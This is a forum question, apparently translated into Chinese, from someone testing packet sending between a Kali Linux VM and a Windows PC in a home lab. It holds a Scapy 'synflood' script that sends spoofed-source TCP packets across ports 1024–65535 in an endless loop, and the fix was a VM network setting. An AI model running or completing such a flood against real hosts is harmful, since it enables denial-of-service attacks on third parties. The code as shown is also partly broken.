将数据包转发到Windows

问题描述

我编写了一个代码,将数据包从Kali Linux计算机发送到Windows PC,但该数据包未在Wireshark中显示代码中没有错误,它发送数据包,但未收到它们。

任何人都可以帮忙吗?

#!/usr/bin/python

from scapy.all import *    
def synflood(src,tgt,message):
for dport in range(1024,65535):      
    IPlayer = IP(src=src,dst=tgt)
    TCPlayer = TCP(sport=4444,dport=dport)
    RAWlayer = Raw(load=message)
    pkt = IPlayer/TCPlayer
    send(pkt)

source = input("src: ")
target = input("targert : ")
message = input(" load : ")

while True:
    synflood(source,target,message)

解决方法

更新:所以我解决了这个问题!我尝试用“ dport = 80”替换for语句,并为目标IP选择了另一个目的IP,而不是我的PC,它显示在wirehark中,这就是我意识到应该配置内部VM网络而不是桥接IP的原因。而且有效